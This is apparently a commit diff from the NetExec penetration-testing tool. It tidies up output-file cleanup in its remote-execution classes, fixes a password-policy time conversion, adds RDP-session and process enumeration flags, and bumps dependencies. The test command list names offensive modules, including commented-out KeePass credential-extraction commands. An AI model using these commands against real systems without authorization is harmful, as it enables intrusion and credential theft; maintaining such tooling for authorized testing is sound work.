||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
|
||||
smbConnection.deleteFile(self.__share, self.__output_filename)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
dce.disconnect()
|
||||
|
||||
@@ -280,6 +280,8 @@ class MMCEXEC:
|
||||
else:
|
||||
self.logger.debug(str(e))
|
||||
|
||||
if self.__outputBuffer:
|
||||
try:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
|
||||
self.__smbconnection.deleteFile(self.__share, self.__output)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
@@ -23,7 +23,7 @@ def convert(low, high, lockout=False):
|
||||
time = ""
|
||||
tmp = 0
|
||||
|
||||
if low == 0 and hex(high) == "-0x80000000":
|
||||
if low == 0 and high == -0x8000_0000 or low == 0 and high == -0x8000_0000_0000_0000:
|
||||
return "Not Set"
|
||||
if low == 0 and high == 0:
|
||||
return "None"
|
||||
@@ -35,7 +35,7 @@ def convert(low, high, lockout=False):
|
||||
high = abs(high)
|
||||
low = abs(low)
|
||||
|
||||
tmp = low + (high) * 16**8 # convert to 64bit int
|
||||
tmp = low + (high << 32) # convert to 64bit int
|
||||
tmp *= 1e-7 # convert to seconds
|
||||
else:
|
||||
tmp = abs(high) * (1e-7)
|
||||
|
||||
@@ -41,7 +41,7 @@ def proto_args(parser, parents):
|
||||
mapping_enum_group.add_argument("--interfaces", action="store_true", help="enumerate network interfaces")
|
||||
mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
|
||||
mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'")
|
||||
mapping_enum_group.add_argument("--sessions", action="store_true", help="enumerate active sessions")
|
||||
mapping_enum_group.add_argument("--smb-sessions", action="store_true", help="enumerate active smb sessions")
|
||||
mapping_enum_group.add_argument("--disks", action="store_true", help="enumerate disks")
|
||||
mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
|
||||
mapping_enum_group.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users")
|
||||
@@ -51,7 +51,9 @@ def proto_args(parser, parents):
|
||||
mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated")
|
||||
mapping_enum_group.add_argument("--pass-pol", action="store_true", help="dump password policy")
|
||||
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
|
||||
|
||||
mapping_enum_group.add_argument("--qwinsta", action="store_true", help="Enumerate RDP connections")
|
||||
mapping_enum_group.add_argument("--tasklist", action="store_true", help="Enumerate running processes")
|
||||
|
||||
wmi_group = smb_parser.add_argument_group("WMI", "Options for WMI Queries")
|
||||
wmi_group.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query")
|
||||
wmi_group.add_argument("--wmi-namespace", metavar="NAMESPACE", default="root\\cimv2", help="WMI Namespace")
|
||||
|
||||
@@ -172,9 +172,11 @@ class SMBEXEC:
|
||||
else:
|
||||
self.logger.debug(str(e))
|
||||
|
||||
if self.__outputBuffer:
|
||||
try:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
|
||||
self.__smbconnection.deleteFile(self.__share, self.__output)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def execute_fileless(self, data):
|
||||
self.__output = gen_random_string(6)
|
||||
|
||||
@@ -171,6 +171,8 @@ class WMIEXEC:
|
||||
else:
|
||||
self.logger.debug(f"Exception when trying to read output file: {e}")
|
||||
|
||||
if self.__outputBuffer:
|
||||
try:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
|
||||
self.__smbconnection.deleteFile(self.__share, self.__output)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
Generated
+3
-3
@@ -893,7 +893,7 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2
|
||||
|
||||
[[package]]
|
||||
name = "impacket"
|
||||
version = "0.13.0.dev0+20241125.162952.ea27e8b2"
|
||||
version = "0.13.0.dev0+20250220.93348.6315ebd5"
|
||||
description = "Network protocols Constructors and Dissectors"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
@@ -917,7 +917,7 @@ six = "*"
|
||||
type = "git"
|
||||
url = "https://github.com/fortra/impacket.git"
|
||||
reference = "HEAD"
|
||||
resolved_reference = "ea27e8b2dfedf57370d2f65c5053a2b8eeb8ca9d"
|
||||
resolved_reference = "6315ebd5388cf5bf52a809b8101f18d49c6a0ef7"
|
||||
|
||||
[[package]]
|
||||
name = "iniconfig"
|
||||
@@ -1870,7 +1870,7 @@ develop = false
|
||||
type = "git"
|
||||
url = "https://github.com/Pennyw0rth/NfsClient"
|
||||
reference = "HEAD"
|
||||
resolved_reference = "a94a3254b279dc49395caecf27ec097a71eea91b"
|
||||
resolved_reference = "0fa1c048394f601d565c6301880da84912b8245a"
|
||||
|
||||
[[package]]
|
||||
name = "pyopenssl"
|
||||
|
||||
@@ -89,6 +89,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M security-questions
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M remove-mic
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M backup_operator
|
||||
# currently hanging indefinitely - TODO: look into this
|
||||
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover
|
||||
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml"
|
||||
|
||||
Reference in New Issue
Block a user